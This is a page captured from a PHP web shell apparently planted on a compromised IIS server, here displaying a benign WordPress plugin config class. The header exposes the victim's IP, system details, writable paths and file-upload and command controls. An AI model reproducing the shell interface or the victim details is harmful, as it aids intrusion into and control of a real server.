403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.18
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/StockAdjust/wp-content/plugins/wp-all-export/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/StockAdjust/wp-content/plugins/wp-all-export/classes/config.php
<?php

/**
 * Class to load config files
 *
 * @author Pavel Kulbakin <p.kulbakin@gmail.com>
 */
class PMXE_Config implements IteratorAggregate {

	/**
	 * Config variables stored
	 * @var array
	 */
	protected $config = array();

	/**
	 * List of loaded files in order to avoid loading same file several times
	 * @var array
	 */
	protected $loaded = array();
	
	/**
	 * Static method to create config instance from file on disc
	 * @param string $filePath
	 * @param string[optional] $section
	 * @return PMXE_Config
	 */
	public static function createFromFile($filePath, $section = NULL) {
		$config = new self();
		return $config->loadFromFile($filePath, $section);
	}

    /**
     * Load config file
     * @param string $filePath
     * @param string [optional] $section
     * @return PMXE_Config
     */
    public function loadFromFile($filePath, $section = NULL)
    {
        if (!is_null($section)) {
            $this->config[$section] = self::createFromFile($filePath);
        } else {
            $filePath = realpath($filePath);
            if ($filePath and !in_array($filePath, $this->loaded)) {

                require $filePath;

                if (!isset($config)) {
                    $config = array();
                }
            }
            $this->loaded[] = $filePath;
            $this->config = array_merge($this->config, $config);
        }
        return $this;
    }

	/**
	 * Return value of setting with specified name
	 * @param string $field Setting name
	 * @param string[optional] $section Section name to look setting in
	 * @return mixed
	 */
	public function get($field, $section = NULL) {
		return ! is_null($section) ? $this->config[$section]->get($field) : $this->config[$field];
	}
	
	/**
	 * Magic method for checking whether some config option are set
	 * @param string $field
	 * @return bool
	 */
	public function __isset($field) {
		return isset($this->config[$field]);
	}

	/**
	 * Magic method to implement object-like access to config parameters
	 * @param string $field
	 * @return mixed
	 */
	public function __get($field) {
		return $this->config[$field];
	}
	
	/**
	 * Return all config options as array
	 * @return array
	 */
	public function toArray($section = NULL): array
    {
		return ! is_null($section) ? $this->config[$section]->toArray() : $this->config;
	}
	
	public function getIterator(): \Traversable {
		return new ArrayIterator($this->config);
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit